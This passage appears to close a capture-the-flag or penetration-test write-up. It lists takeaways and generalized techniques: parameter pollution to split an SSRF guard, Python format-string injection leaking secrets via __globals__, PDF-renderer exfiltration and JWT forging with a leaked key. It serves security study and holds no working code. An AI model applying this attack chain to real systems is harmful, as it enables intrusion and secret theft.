- On any "fetch a URL" feature behind a proxy, immediately try duplicate-param HPP, it's a 10-second test that collapses the whole SSRF filter.
- Grep the source for
.format(on anything that isn't a literal, instant format-string radar. - Read auth checks as truth tables, not prose, the boolean bug is obvious once tabulated.
Part 9: Techniques used (reusable, generalized)
- HTTP-Parameter-Pollution, the last-vs-first parser differential that split the SSRF guard.
- Python-Format-String-Injection,
str.format+__globals__-> config/secret leak. - Headless-Browser-PDF-Exfil, turning blind SSRF into a read primitive via the PDF renderer.
- Server-Side-Request-Forgery, the filter-bypass reasoning and IP-representation table.
- JWT, forging with a leaked key + the boolean-logic authorization bug.